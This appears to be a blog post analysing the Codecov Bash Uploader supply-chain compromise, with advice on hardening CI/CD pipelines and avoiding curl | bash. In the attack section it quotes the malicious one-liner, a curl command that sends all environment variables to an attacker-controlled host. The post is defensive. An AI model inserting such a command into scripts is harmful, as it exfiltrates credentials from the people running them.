Today, Codecov disclosed that their Bash Uploader script — the tool that thousands of organizations use to send code coverage data from their CI/CD pipelines — had been compromised since January 31st. For over two months, a modified version of the script was silently exfiltrating environment variables from CI environments to an attacker-controlled server. Those environment variables typically include API keys, tokens, and credentials for services like AWS, GitHub, and internal systems.
This is not a minor incident. This is one of the most significant supply chain attacks targeting the developer toolchain that we’ve seen to date.
How the Attack Worked#
The attack was elegant in its simplicity. Codecov’s Bash Uploader is a shell script that customers download and execute in their CI pipelines — typically with a curl | bash pattern or by referencing a specific version. The attacker gained access to Codecov’s Docker image creation process and modified the script to add a single line that posted all environment variables to an external server.
The modified line was something like:
curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http://<attacker-ip>/upload/v2That’s it. One line. $(env) dumps every environment variable in the current shell, and curl sends it off. In a CI environment, those variables typically include:
- Cloud provider credentials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
- GitHub/GitLab tokens (GITHUB_TOKEN, CI_JOB_TOKEN)
- Docker registry credentials
- Database connection strings
- Internal API keys
- Signing keys and certificates
The script was downloaded directly from Codecov’s servers, so every organization running curl -s https://codecov.io/bash | bash in their CI pipeline was potentially affected. The compromised script had a different SHA-256 hash than the legitimate one, but how many organizations actually verify the hash of scripts they download in their CI pipelines? In my experience, almost none.
The Blast Radius#
Codecov reports having over 29,000 customers. Not all of them use the Bash Uploader, but a significant portion do. The attacker had access to exfiltrated credentials for approximately 11 weeks before the breach was discovered. That’s 11 weeks of CI pipeline runs across thousands of organizations, each potentially leaking secrets.
The downstream impact is still being assessed. Twitch has already confirmed they were affected and are rotating credentials. HashiCorp disclosed that their GPG signing key was exposed. More organizations will follow as the investigation continues.
The federal investigation into this breach, reportedly involving the FBI, underscores the severity. This isn’t just a data breach — it’s a potential gateway to a cascading chain of compromises across the software industry.
The curl | bash Anti-Pattern#
This incident reopens a debate that’s been simmering in the DevOps community for years: the curl | bash installation pattern. It’s ubiquitous. It’s convenient. And it’s fundamentally at odds with security.
When you pipe a remote script directly into your shell, you are executing arbitrary code with the full privileges of the CI environment. You’re trusting that:
- The remote server hasn’t been compromised
- The script hasn’t been modified in transit (HTTPS helps, but doesn’t protect against server compromise)
- The script will continue to be the same script tomorrow as it is today
- The server isn’t serving different content based on the User-Agent (detecting curl vs. browser)
Points 1 and 3 are exactly what failed with Codecov. The server was serving a modified script, and it did so for 11 weeks before anyone noticed.
The alternative — downloading the script, verifying its hash or signature, committing it to your repository, and executing the local copy — is more work. But it creates a verifiable audit trail and decouples your CI security from the security posture of every third-party tool vendor in your pipeline.
Hardening Your CI/CD Pipeline#
If this incident doesn’t prompt a review of your CI/CD security posture, I’m not sure what will. Here are the concrete steps every team should be taking:
Audit your pipeline dependencies. List every external script, binary, or service that your CI pipeline downloads and executes. For each one, assess: what credentials does it have access to? What would happen if it were compromised?
Pin and verify external tools. Don’t download scripts from mutable URLs. Pin to specific versions, verify checksums, and ideally vendor the tools in your own repository. Yes, this means more maintenance. That’s the cost of security.
Minimize CI environment variables. Only inject the credentials that a specific step actually needs. Most CI platforms support scoping secrets to specific jobs or steps. Use those features. If your coverage upload step doesn’t need your AWS credentials, don’t give it access to them.
Rotate credentials regularly. And if you used Codecov’s Bash Uploader between January 31 and April 1, 2021, rotate everything. Every credential, every token, every key that was present in those CI environments should be considered compromised.
Consider credential helpers over environment variables. Some CI platforms support short-lived, scoped credentials that are fetched just-in-time rather than injected as environment variables. AWS OIDC federation with GitHub Actions, for instance, eliminates the need for static AWS keys entirely.
My Take#
I’ve been setting up CI/CD pipelines for over fifteen years, and the dirty secret of the industry is that most pipelines are built for speed and convenience, not security. We treat our CI environments as trusted — running arbitrary downloaded scripts, injecting every credential we might need, and hoping that the third-party tools we depend on stay safe.
Codecov is a reputable company. They didn’t do anything egregiously wrong in how they built their product. But the trust model was fragile by design: a single point of compromise in their build process cascaded into a potential breach of thousands of downstream organizations. That’s a systemic problem, not an individual failure.
The SolarWinds attack targeted the build pipeline. The PHP Git server compromise targeted the source code repository. Now Codecov shows that the CI/CD tools themselves are targets. The pattern is clear: attackers are moving up the supply chain, targeting the infrastructure that developers trust implicitly.
We need to stop treating our build pipelines as safe spaces. They’re attack surfaces, and they deserve the same security rigor we apply to production environments. Every external dependency in your CI pipeline is a trust relationship, and every trust relationship is a potential vulnerability.

